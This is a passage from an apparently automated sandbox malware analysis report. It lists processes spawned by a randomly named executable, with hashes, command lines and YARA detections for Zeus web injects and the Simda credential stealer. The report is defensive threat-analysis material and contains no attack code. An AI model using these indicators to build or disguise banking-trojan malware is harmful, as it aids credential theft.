                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2510071854.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2395495961.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2500141724.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2510491693.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2448622131.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2508393493.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2501374465.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2497016320.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2501604041.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2455382191.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2469676261.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3272240736.0000000002915000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2510323696.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2508541619.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.3060629328.0000000002DC0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2501156976.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2478689860.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2450971544.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2510195177.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3273788686.0000000002D63000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2508233599.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2498994285.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.3060188818.0000000002DC0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2474596414.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3272240736.00000000028C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000002.00000003.2039049974.000000000088E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2039049974.000000000088E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:low
                                                                                                                                                                                                          Has exited:false

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:4
                                                                                                                                                                                                          Start time:12:42:45
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000004.00000002.2719357526.00000000012E0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000004.00000002.2719273525.0000000001240000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:5
                                                                                                                                                                                                          Start time:12:42:45
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000005.00000002.2689381612.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000005.00000002.2689429346.0000000000E30000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:6
                                                                                                                                                                                                          Start time:12:42:45
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                          Commandline:C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                                                                          Imagebase:0x7ff7e52b0000
                                                                                                                                                                                                          File size:55'320 bytes
                                                                                                                                                                                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:false

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:7
                                                                                                                                                                                                          Start time:12:42:45
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4268 -ip 4268
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:8
                                                                                                                                                                                                          Start time:12:42:45
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000008.00000002.2748593286.0000000000E70000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000008.00000002.2747738831.0000000000C50000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:9
                                                                                                                                                                                                          Start time:12:42:46
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 984
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:10
                                                                                                                                                                                                          Start time:12:42:46
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4672 -ip 4672
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:11
                                                                                                                                                                                                          Start time:12:42:47
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 4672 -s 708
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:12
                                                                                                                                                                                                          Start time:12:42:47
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000C.00000002.2700298723.0000000001410000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000C.00000002.2700342737.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:13
                                                                                                                                                                                                          Start time:12:42:48
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6980 -ip 6980
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:14
                                                                                                                                                                                                          Start time:12:42:48
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                          Commandline:C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                          Imagebase:0x7ff7e52b0000
                                                                                                                                                                                                          File size:55'320 bytes
                                                                                                                                                                                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:false

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:15
                                                                                                                                                                                                          Start time:12:42:48
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000F.00000002.2451003879.0000000000900000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000F.00000002.2451052390.0000000000960000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:16
                                                                                                                                                                                                          Start time:12:42:48
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 6980 -s 976
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:17
                                                                                                                                                                                                          Start time:12:42:48
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6300 -ip 6300
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:18
                                                                                                                                                                                                          Start time:12:42:49
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 6300 -s 744
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:19
                                                                                                                                                                                                          Start time:12:42:50
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000013.00000002.2455624289.0000000001450000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000013.00000002.2455739148.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:20
                                                                                                                                                                                                          Start time:12:42:51
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 6648 -ip 6648
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:21
                                                                                                                                                                                                          Start time:12:42:51
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000015.00000002.2460078038.0000000002B30000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000015.00000002.2460508314.0000000002CD0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:22
                                                                                                                                                                                                          Start time:12:42:51
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5168 -ip 5168
                                                                                                                                                                                                          Imagebase:0x710000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:23
                                                                                                                                                                                                          Start time:12:42:51
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe"
                                                                                                                                                                                                          Imagebase:0x1f0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
